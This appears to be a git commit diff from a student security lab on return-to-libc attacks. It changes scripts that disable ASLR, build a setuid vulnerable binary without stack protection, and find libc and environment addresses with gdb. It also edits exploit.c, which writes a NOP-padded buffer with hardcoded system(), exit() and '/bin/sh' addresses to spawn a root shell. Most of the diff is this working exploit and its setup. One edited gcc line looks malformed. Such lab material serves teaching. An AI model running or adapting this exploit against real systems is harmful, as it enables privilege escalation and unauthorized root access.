errors fixed

Rockingrajat · Rockingrajat · commit db9e229db957 · 2020-11-29T20:01:19.000+05:30
diff --git a/ret2libc/compile_retlib.sh b/ret2libc/compile_retlib.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
 sudo sysctl -w kernel.randomize_va_space=0
 
-gcc -m32 -o retlib -z execstack -fno-stack-protector retlib.c
+gcc -m32 -o -fno-stack-protector -z noexecstack -o retlib retlib.c 
 
-sudo chown root retlib
-sudo chmod 4755 retlib
+# sudo chown root retlib
+sudo chmod u+s retlib
diff --git a/ret2libc/exploit.c b/ret2libc/exploit.c
@@ -6,11 +6,11 @@ int main(int argc, char **argv)
   char buf[40];
   FILE *badfile;
 
-  badfile = fopen("badfilex", "w");
+  badfile = fopen("badfile", "w");
  
   strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); 
   
-   *(long *) &buf[32] = 0xffffd389;  //  "/bin/sh"
+   *(long *) &buf[32] = 0xffffd2e7;  //  "/bin/sh"
   *(long *) &buf[24] = 0xf7e11420 ;   //  system()
   *(long *) &buf[36] = 0xf7e03f80;   //  exit()
 
diff --git a/ret2libc/get_add.sh b/ret2libc/get_add.sh
@@ -1,10 +1,10 @@
 #!/bin/bash
 
 export MYSHELL=/bin/sh
-gcc -o getenv getenv.c 
+gcc -m32 -o getenv getenv.c 
 ./getenv MYSHELL ./retlib
 
-gdb retlib
+gdb --quiet retlib
 # Commands to be typed
 # b main
 # r
diff --git a/ret2libc/run.sh b/ret2libc/run.sh
@@ -1,4 +1,4 @@
-#!bin/bash
+#!/bin/bash
 gcc -m32 exploit.c -o exploit
 ./exploit
 ./retlib
